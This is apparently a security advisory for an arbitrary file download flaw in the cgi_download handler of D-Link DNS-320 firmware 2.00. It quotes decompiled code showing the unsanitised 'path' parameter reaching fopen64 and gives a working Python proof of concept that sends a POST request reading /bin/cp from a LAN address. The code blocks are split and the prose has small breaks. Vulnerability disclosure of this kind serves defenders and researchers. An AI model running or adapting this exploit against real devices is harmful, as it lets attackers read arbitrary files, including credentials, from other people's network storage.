D-Link DNS-320 webfile_mgr.cgi cgi_download Arbitrary File Download Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
  }
  else if ( !strcmp(v0, "cgi_download") )
  {
    cgi_download();
  }
```

he `cgi_download` function in webfile_mgr.cgi fails to properly sanitize the `path` parameter, allowing attackers to download arbitrary files from the system by specifying an absolute file path. This vulnerability occurs because the user-supplied path is directly passed to `fopen64` without directory traversal checks or base directory restrictions.

```
  cgiFormString(&unk_DBF8, v14, 512);
  cgiFormString("path", v18, 512);              // path param
  cgiFormString("name", v17, 512);
  cgiFormString("type", v21, 8);
  cgiFormString("browser", v20, 8);
  v0 = &v21[strlen(v18) + 7];
  if ( *(v0 - 560) == 47 )
    *(v0 - 560) = 0;
  strcpy(v15, v18);
  if ( !strcmp(v21, "Folder") )
    sprintf(v15, "%s.zip", v14);
  msg_debug("path=%s\n", v15);
  v1 = (FILE *)fopen64(v15, "rb");              // open the file
  v2 = v1;
```

```
    fseek(v2, 0, 0);
    do
    {
      v4 = fread(v12, 1u, 0x800u, v2);          // read the file
      fwrite(v12, v4, 1u, (FILE *)stdout);
    }
    while ( v4 > 0 && !feof(v2) );
```

POC

```
import requests

url = "http://192.168.31.10/cgi-bin/webfile_mgr.cgi"

headers = {
}

data = {
```

```python
    "cmd": "cgi_download",
    "path": "/bin/cp",
    "name": "cp",
    "type": "File",
    "browser": "Mozilla"
}

# wget http://192.168.31.166:8876/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
print(response.text)
```

Attack